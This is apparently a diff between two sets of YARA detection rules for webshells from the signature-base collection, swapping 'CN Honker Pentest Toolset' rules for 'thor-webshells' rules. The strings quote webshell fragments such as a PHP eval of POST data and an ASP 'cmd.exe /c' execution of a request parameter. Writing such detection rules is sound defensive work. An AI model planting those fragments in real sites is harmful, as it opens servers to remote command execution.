+rule SIGNATURE_BASE_Webshell_Jspspy_Jspspyjdk5_Jspspyjdk51_Luci_Jsp_Spy2009_M_Ma3_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0cb01c07-b424-532d-8aef-5ec25dfe3f19"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L162-L177"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
-		logic_hash = "e5f30a445be30c491e669c633bf2df08cbfb1017ecfc91f9ed83275550488304"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2128-L2171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c61e5ccd4800f0cfd20532ab43f917f39a7367cc09cbe92e5320eb2c97fabf3"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash8 = "d71716df5042880ef84427acee8b121e"
+		hash9 = "341298482cf90febebb8616426080d1d"
+		hash10 = "29aebe333d6332f0ebc2258def94d57e"
+		hash11 = "42654af68e5d4ea217e6ece5389eb302"
+		hash12 = "88fc87e7c58249a398efd5ceae636073"
+		hash13 = "4a812678308475c64132a9b56254edbc"
+		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash15 = "344f9073576a066142b2023629539ebd"
+		hash16 = "32dea47d9c13f9000c4c807561341bee"
+		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash18 = "655722eaa6c646437c8ae93daac46ae0"
+		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash20 = "9c94637f76e68487fa33f7b0030dd932"
+		hash21 = "6acc82544be056580c3a1caaa4999956"
+		hash22 = "6aa32a6392840e161a018f3907a86968"
+		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash24 = "3ea688e3439a1f56b16694667938316d"
+		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash26 = "71097537a91fac6b01f46f66ee2d7749"
+		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii
-		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii
+		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
+		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"
 
 	condition:
-		filesize <444KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Sniff : FILE
+rule SIGNATURE_BASE_Webshell_2_520_Job_Ma1_Ma4_2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8cf47d71-1b97-5967-ad70-2ea6fad7cc29"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L179-L194"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
-		logic_hash = "198442e75422055e7d65c5d1aef55819036a99077aa79dbd5006ba97c4fe4af8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2172-L2192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db76ff42079b20d9e5c40661d7b30206e6bffc828f55daa4dc210662068f8e27"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii
-		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii
+		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
+		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"
 
 	condition:
-		filesize <91KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Udf_Udf : FILE
+rule SIGNATURE_BASE_Webshell_000_403_807_A_C5_Config_Css_Dm_He1P_Jspspy_Jspspyjdk5_Jspspyjdk51_Luci_Jsp_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "07252f2d-1a99-5f21-940d-899a4821b511"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L196-L211"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
-		logic_hash = "c7db32b5e66601e0b8322ac67b6b9ba8d6222891ed01db557bfac9985140421a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2193-L2239"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cda47d7967b0f4b2a274ff2196d27d2e108b00917812093bbb3f033a8a1d1c3c"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "9c94637f76e68487fa33f7b0030dd932"
+		hash23 = "6acc82544be056580c3a1caaa4999956"
+		hash24 = "6aa32a6392840e161a018f3907a86968"
+		hash25 = "591ca89a25f06cf01e4345f98a22845c"
+		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash27 = "3ea688e3439a1f56b16694667938316d"
+		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash29 = "71097537a91fac6b01f46f66ee2d7749"
+		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s1 = "<?php // Source  My : Meiam  " fullword ascii
-		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
+		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
+		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword
 
 	condition:
-		filesize <430KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_JSP_Jsp : FILE
+rule SIGNATURE_BASE_Webshell_Wso2_5_1_Wso2_5_Wso2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
+		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "46f2fb10-2c0c-5bc2-b3bb-eba4c74bcad7"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L213-L228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
-		logic_hash = "089e1a553900d149a4087ac81254295d74de15d9baaf73e60ce4f061e450e8c7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2240-L2257"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2dce52f1b8d2c33cd8478a468383a87f13712dc6e5c9050fea6ede4f0d24cc5"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
+		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
+		hash2 = "cbc44fb78220958f81b739b493024688"
 
 	strings:
-		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii
-		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii
+		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
+		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"
 
 	condition:
-		filesize <3KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_T00Ls_Lpk_Sethc_V4_Mail : FILE
+rule SIGNATURE_BASE_Webshell_000_403_C5_Querydong_Spyjsp2010_T00Ls
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2f7d8a4d-9d94-5f23-9768-cc3712678d93"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L230-L245"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
-		logic_hash = "b835a6d0c736116e0a8b277dadbf25c2ac333b0d7937a6f67ed59887c610a57a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2258-L2278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f507499304a7cf4d14a134a4c0781fed9a94c40fe3257a4168bacdf3910ffec"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+		hash5 = "9c94637f76e68487fa33f7b0030dd932"
 
 	strings:
-		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii
-		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii
+		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
+		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""
 
 	condition:
-		filesize <39KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Phpwebbackup : FILE
+rule SIGNATURE_BASE_Webshell_404_Data_Suiyue
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
+		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eb737ea6-231c-5e8d-b976-75f1044f9f54"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L247-L262"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
-		logic_hash = "45452fc415fbafe170a1b1f5a58df40f0ec65a9a6678e675b40a8c54e2d8bd6c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2279-L2295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7f4ab5dbd2a72574c5d188e14ae98e599359b2d662266fc4c3a39d3d4405c208"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
 
 	strings:
-		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
-		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
+		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"
 
 	condition:
-		uint16(0)==0x3f3c and filesize <67KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Dz_Phpcms_Phpbb : FILE
+rule SIGNATURE_BASE_Webshell_R57Shell_R57Shell127_Sniper_SA_Shell_Egy_Spider_Shell_V2_R57_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f7e5413f-a7c9-51d4-8422-30c3e2462be2"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L264-L281"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
-		logic_hash = "1455df58f51c3ae7558b89c940d97ea5870f261217b2a09727bb6678bcbd5500"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2296-L2321"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04a58352202538d5446f1000c07341ea70434f00403f116233f335213687636e"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ef43fef943e9df90ddb6257950b3538f"
+		hash1 = "ae025c886fbe7f9ed159f49593674832"
+		hash2 = "911195a9b7c010f61b66439d9048f400"
+		hash3 = "697dae78c040150daff7db751fc0c03c"
+		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash8 = "41af6fd253648885c7ad2ed524e0692d"
+		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii
-		$s2 = "function test_1($password)" fullword ascii
-		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
-		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii
+		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
+		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
+		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="
 
 	condition:
-		filesize <22KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Picloaked_1 : FILE
+rule SIGNATURE_BASE_Webshell_807_A_Css_Dm_He1P_Jspspy_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2ff44c4a-ed97-5635-9926-8d54a8364fab"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L283-L299"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
-		logic_hash = "a816ac9e98b7c5208f075ffcb9a6525016d6a5c468005d78ecab90d651423705"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2322-L2360"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb045425a9f519dd7bf028a7795b16b89768682f5850b6a4d45f0991bfeb6431"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash5 = "d71716df5042880ef84427acee8b121e"
+		hash6 = "341298482cf90febebb8616426080d1d"
+		hash7 = "29aebe333d6332f0ebc2258def94d57e"
+		hash8 = "42654af68e5d4ea217e6ece5389eb302"
+		hash9 = "88fc87e7c58249a398efd5ceae636073"
+		hash10 = "4a812678308475c64132a9b56254edbc"
+		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash12 = "344f9073576a066142b2023629539ebd"
+		hash13 = "32dea47d9c13f9000c4c807561341bee"
+		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash15 = "6acc82544be056580c3a1caaa4999956"
+		hash16 = "6aa32a6392840e161a018f3907a86968"
+		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash18 = "3ea688e3439a1f56b16694667938316d"
+		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash20 = "71097537a91fac6b01f46f66ee2d7749"
+		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s0 = "<?php eval($_POST[" ascii
-		$s1 = ";<%execute(request(" ascii
-		$s3 = "GIF89a" fullword ascii
+		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
+		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
+		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"
 
 	condition:
-		filesize <6KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Assembly : FILE
+rule SIGNATURE_BASE_Webshell_201_3_Ma_Download
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
+		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7639e81d-fe21-5a12-9a20-fe894eefef73"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L301-L315"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
-		logic_hash = "34dc47b2f91a15a62175f3cab88d5ff24d2a3aa62f74fb9e43a4aaae96ced999"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2361-L2380"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14eccd07e7bef9d570f75fc4adc204d175dcfbb5b950bdb3e25a65d3c5bb0310"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii
+		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
+		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
+		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="
 
 	condition:
-		filesize <1KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php8 : FILE
+rule SIGNATURE_BASE_Webshell_Browser_201_3_400_In_Jfolder_Jfolder01_Jsp_Leo_Ma_Warn_Webshell_Nc_Download
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8b25b7f3-b94e-5887-b102-b52d340a4316"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L317-L334"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
-		logic_hash = "435ceb72c082f702284c464979a907a59a42bb4aa07311f9b2da1a9831efac11"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2381-L2408"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bf0fd37b542c9362a47180ee03ea28995b48d483f72273e472292a320a3ddee"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "36331f2c81bad763528d0ae00edf55be"
+		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash5 = "8979594423b68489024447474d113894"
+		hash6 = "ec482fc969d182e5440521c913bab9bd"
+		hash7 = "f98d2b33cd777e160d1489afed96de39"
+		hash8 = "4b4c12b3002fad88ca6346a873855209"
+		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash10 = "e9a5280f77537e23da2545306f6a19ad"
+		hash11 = "598eef7544935cf2139d1eada4375bb5"
+		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii
-		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii
-		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii
-		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii
+		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
+		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword
